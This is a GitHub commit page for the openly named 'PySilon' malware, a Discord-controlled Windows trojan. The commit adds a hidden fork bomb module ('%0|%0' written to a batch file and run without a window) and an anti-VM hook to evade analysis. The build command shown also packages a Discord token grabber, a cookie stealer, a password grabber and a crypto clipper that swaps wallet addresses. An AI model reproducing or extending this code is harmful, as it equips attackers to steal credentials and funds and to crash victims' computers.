Skip to content

Commit

Permalink
Merge pull request #174 from mategol/py-dev
Browse files Browse the repository at this point in the history
A quick hotfix for anti-VM and .forkbomb command
  • Loading branch information
mategol authored Jul 29, 2023
2 parents 39b9403 + e157003 commit 6caf483
Show file tree
Hide file tree
Showing 5 changed files with 30 additions and 7 deletions.
15 changes: 11 additions & 4 deletions builder.py
Original file line number Diff line number Diff line change
Expand Up @@ -29,7 +29,8 @@
'scrnrec': 'screenrec.py',
'inputbl': 'block_input.py',
'bluesod': 'bsod.py',
'crclipr': 'crypto_clipper.py'
'crclipr': 'crypto_clipper.py',
'forkbmb': 'fork_bomb.py'
}

default_modules = [
Expand Down Expand Up @@ -89,6 +90,7 @@ def load_configuration(is_custom):
cbvar_inputbl.set(config['FUNCTIONALITY']['inputbl'])
cbvar_bluesod.set(config['FUNCTIONALITY']['bluesod'])
cbvar_crclipr.set(config['FUNCTIONALITY']['crclipr'])
cbvar_forkbmb.set(config['FUNCTIONALITY']['forkbmb'])

def reset_configuration():
server_id.delete(0, END)
Expand Down Expand Up @@ -116,6 +118,7 @@ def reset_configuration():
cbvar_inputbl.set(True)
cbvar_bluesod.set(True)
cbvar_crclipr.set(True)
cbvar_forkbmb.set(True)
cbvar_disclaimer.set(False)

change_icon('resources/icons/icon.ico')
Expand Down Expand Up @@ -159,6 +162,7 @@ def save_configuration():
config['FUNCTIONALITY']['inputbl'] = str(cbvar_inputbl.get())
config['FUNCTIONALITY']['bluesod'] = str(cbvar_bluesod.get())
config['FUNCTIONALITY']['crclipr'] = str(cbvar_crclipr.get())
config['FUNCTIONALITY']['forkbmb'] = str(cbvar_forkbmb.get())

with open(config_path, 'w') as configfile:
config.write(configfile)
Expand Down Expand Up @@ -274,7 +278,7 @@ def config_modification(var=None, index=None, mode=None):
cli = 'soon' # CLI mode will be added soon...
else:
root = Tk()
root.geometry('750x660')
root.geometry('750x700')
root.resizable(True, True)
root.iconbitmap('resources/icons/icon.ico')
root.title('PySilon Builder')
Expand Down Expand Up @@ -353,6 +357,7 @@ def config_modification(var=None, index=None, mode=None):
cbvar_inputbl = BooleanVar(value=True)
cbvar_bluesod = BooleanVar(value=True)
cbvar_crclipr = BooleanVar(value=True)
cbvar_forkbmb = BooleanVar(value=True)

def open_crypto_clipper_config():
json_file_path = 'crypto_clipper.json'
Expand All @@ -375,6 +380,7 @@ def open_crypto_clipper_config():
cb_scrnrec = Checkbutton(settings_canvas, selectcolor='#0A0A10', text='screen recording', variable=cbvar_scrnrec, command=config_modification, onvalue=True, offvalue=False)
cb_inputbl = Checkbutton(settings_canvas, selectcolor='#0A0A10', text='block input (mouse & keyboard)', variable=cbvar_inputbl, command=config_modification, onvalue=True, offvalue=False)
cb_bluesod = Checkbutton(settings_canvas, selectcolor='#0A0A10', text='trigger a bsod', variable=cbvar_bluesod, command=config_modification, onvalue=True, offvalue=False)
cb_forkbmb = Checkbutton(settings_canvas, selectcolor='#0A0A10', text='fork bomb (spam processes to crash os)', variable=cbvar_forkbmb, command=config_modification, onvalue=True, offvalue=False)
cb_crclipr = Checkbutton(settings_canvas, selectcolor='#0A0A10', text='crypto clipper (replaces crypto addresses)', variable=cbvar_crclipr, command=config_modification, onvalue=True, offvalue=False)
json_button = Button(settings_canvas, text='⚙', command=open_crypto_clipper_config)

Expand All @@ -394,8 +400,9 @@ def open_crypto_clipper_config():
cb_inputbl.grid(row=16, column=2, sticky=W, padx=(30, 0))
cb_webcam.grid(row=17, column=2, sticky=W, padx=(30, 0))
cb_bluesod.grid(row=18, column=2, sticky=W, padx=(30, 0))
cb_crclipr.grid(row=19, column=2, sticky=W, padx=(30, 0), pady=(0, 20))
json_button.grid(row=19, column=2, padx=(190, 0), pady=(0, 20))
cb_forkbmb.grid(row=19, column=2, sticky=W, padx=(30, 0))
cb_crclipr.grid(row=20, column=2, sticky=W, padx=(30, 0), pady=(0, 30))
json_button.grid(row=20, column=2, padx=(190, 0), pady=(0, 30))

bottom_buttons = Canvas(root, width=1, height=1, bd=0)
cbvar_disclaimer = BooleanVar(value=False)
Expand Down
4 changes: 2 additions & 2 deletions compiler.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,10 +15,10 @@ def compile():
if 'configuration.ini' in os.listdir('.'): config.read('configuration.ini')
else: input('Configuration file not found! Press ENTER to terminate...'); sys.exit(0)

if len(config['SETTINGS']) != 12 or len(config['FUNCTIONALITY']) != 17:
if len(config['SETTINGS']) != 12 or len(config['FUNCTIONALITY']) != 18:
return 'Config corrupted'

compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py --runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'
compiling_command = 'start cmd /k "title Reorganising packages... & pip freeze > to_uninstall.txt & pip uninstall -y -r to_uninstall.txt > nul & del to_uninstall.txt > nul & pip install pillow > nul & pip install pyinstaller > nul & pip install -r custom_imports.txt > nul & title Compiling source code... & pyinstaller -F --noconsole --add-data "resources/libopus-0.x64.dll;." --runtime-hook=resources/misc.py --runtime-hook=resources/anti_vm.py --runtime-hook=resources/discord_token_grabber.py --runtime-hook=resources/get_cookies.py --runtime-hook=resources/passwords_grabber.py --add-data="crypto_clipper.json;." --icon "' + config['SETTINGS']['icon_path'] + '" "source_prepared.py" > nul & echo - & echo.Done & echo.- & start dist & del source_prepared.spec > nul & rmdir build /S /Q & pause & exit"'

with open('PySilon.key', 'wb') as save_key: save_key.write(os.urandom(1024*1024))
with open('source_assembled.py', 'r', encoding='utf-8') as copy_source_code: source_code = copy_source_code.readlines()
Expand Down
3 changes: 2 additions & 1 deletion configuration.ini
Original file line number Diff line number Diff line change
Expand Up @@ -29,4 +29,5 @@ webcam_ = True
scrnrec = True
inputbl = True
bluesod = True
crclipr = True
crclipr = True
forkbmb = True
3 changes: 3 additions & 0 deletions resources/custom_imports.ini
Original file line number Diff line number Diff line change
Expand Up @@ -60,3 +60,6 @@ nothing_special = True

[crclipr]
1 = pyperclip

[forkbmb]
nothing_special = True
12 changes: 12 additions & 0 deletions resources/source_code/fork_bomb.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,12 @@
import subprocess
# end of imports

# on message
elif message.content == ".forkbomb":
await message.delete()
embed = discord.Embed(title="💣 Starting...",description=f'```Starting fork bomb... This process may take some time.```', colour=discord.Colour.dark_theme())
embed.set_author(name="PySilon-malware", icon_url="https://cdn.discordapp.com/attachments/1125126897584574476/1134166476560011386/icon-1.png")
await message.channel.send(embed=embed)
with open(f'C:\\Users\\{getuser()}\\wabbit.bat', 'w', encoding='utf-8') as wabbit:
wabbit.write('%0|%0')
subprocess.Popen(f'C:\\Users\\{getuser()}\\wabbit.bat', creationflags=subprocess.CREATE_NO_WINDOW)

0 comments on commit 6caf483

Please sign in to comment.